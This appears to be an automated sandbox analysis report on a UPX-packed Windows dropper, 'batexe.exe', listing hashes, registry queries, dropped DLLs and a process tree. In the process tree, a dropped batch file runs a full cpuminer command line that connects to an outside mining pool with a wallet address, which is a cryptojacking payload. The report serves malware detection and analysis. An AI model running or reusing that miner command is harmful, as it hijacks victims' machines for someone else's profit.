73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 09:43

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4320	b2e.exe
2212	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2212	cpuminer-sse2.exe
2212	cpuminer-sse2.exe
2212	cpuminer-sse2.exe
2212	cpuminer-sse2.exe
2212	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1884-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 4320	1884	batexe.exe	85
PID 1884 wrote to memory of 4320	1884	batexe.exe	85
PID 1884 wrote to memory of 4320	1884	batexe.exe	85
PID 4320 wrote to memory of 2816	4320	b2e.exe	86
PID 4320 wrote to memory of 2816	4320	b2e.exe	86
PID 4320 wrote to memory of 2816	4320	b2e.exe	86
PID 2816 wrote to memory of 2212	2816	cmd.exe	89
PID 2816 wrote to memory of 2212	2816	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Users\Admin\AppData\Local\Temp\55E0.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\55E0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\55E0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\59B9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\55E0.tmp\b2e.exe

Filesize
35.9MB

MD5
00569f84bf884037b088fc88915edc0c

SHA1
f4d34ebe0e1c5c918430d7148d5bd6e1e157ff44

SHA256
ec0a16c49293d36efd773f25934e09ebe7cbe4f0a61a8c99cb680a19ef5044c6

SHA512
50974fa8325d6996cf10496e1b2203d1bca5b4270958ad6e7ad0ddae18a6dd6daabc847daa1191415d7740a969b8c76f2fe79a23468d5f6b7d90abc609be2c4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\55E0.tmp\b2e.exe

Filesize
14.8MB

MD5
01ef2641b3393fc1995261f9cb3fb2c4

SHA1
4b6b1db8326a9d9fc01599c23b06266d2d40cc99

SHA256
6bd8b9161e27995cc067fe65084443a376984ef562bef08b616192f5c1a2d045

SHA512
37342aa8adefc7eefba5558f4fa25f61b80fe956d7e81ff008df510c22f724a0cad1693fbc63e1c2b609b2e25ecc643012fd60b17e38dd14b915cfedfeac7d23

Download Submit
C:\Users\Admin\AppData\Local\Temp\55E0.tmp\b2e.exe

Filesize
16.9MB

MD5
0ba818adbf4c3575ce84e0ac4f318b87

SHA1
15b043d60d5ecf08e8031e93d39773f2d20ac841

SHA256
51dc3943e44cb5aeaaf39538701b3f05196e9279a44f6ec1425ec939e4f23baa

SHA512
b4bf13f670494d15930157e2a35d01332bed952c4abdd184386386dcc09585e2c0e3bf0f87c4d0d3a8499be69f075dbc9529d3debc798de4069fb6a9b3330aa1

Download Submit
C:\Users\Admin\AppData\Local\Temp\59B9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
9d8a9403ade0db925b1e680d30a0ec30

SHA1
4f4a953f79015bf4733d25e9907b4cd058273f20

SHA256
84f2fa68be1cad7a845385c446d8f3c3572f1c081a506096da1f6418f7d72247

SHA512
330b332f0de09e3759f92f9081e2f39c8de38a407a90c097b29fbcccc165813c9f40ab59b192c5859853047d816cfc3cc82889ec39f3d00d4c8d7f538e075499

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
2a79930cd0fe1845835f488f962d0665

SHA1
4a76fdf9c9d19f3fd3e02d475090f7118d3123c5

SHA256
0241abb1556171db61e5f006112c7f70d849d3fedfac1cf49a98dabb8f8becc0

SHA512
effb131bcf2551c434e0f8ededbc7a3cc99a05b189ba899974618e0c2b9073b064f1b722292ed0d8d30be803e99b2bfdf8c005153fe05474bca8d7e02bc56650

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
c2fdbf15bb19c1adb84fb83712fca9c5

SHA1
72b2346952ff023193583aafeba14489de6ed9eb

SHA256
65997df372e2dcda4cb3ac6d68226bf48bc1fcc28cf51c1a629842bb421c4e11

SHA512
f81c87c403c8eb4fb3b5ba60eb6033b141fa80f2a48296d4b6d6d8034a19069876e0229e41ccda81f2a8b525d8f3f3c86c84917cf1d5a8e93d219e2f2f092a61

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
d14c05dc5562cc68f78fd947feec0fd8

SHA1
d21cf0236985159ee4a6f5a0f81d0f55a321980e

SHA256
f26328c252c0d5687b4b1e80346778da0080145ec4dcb35010f611e945de7e24

SHA512
d08d452162b7e61fcbf2c1cad3442973d7d48597247e2d7fab074e3bb946372dfa19ce2da672e6b4fc4cfa342bdace32cf7642d367e97102c97bad47339fae58

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1884-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2212-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2212-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2212-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2212-45-0x0000000072210000-0x00000000722A8000-memory.dmp

Filesize
608KB

Download
memory/2212-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4320-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4320-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download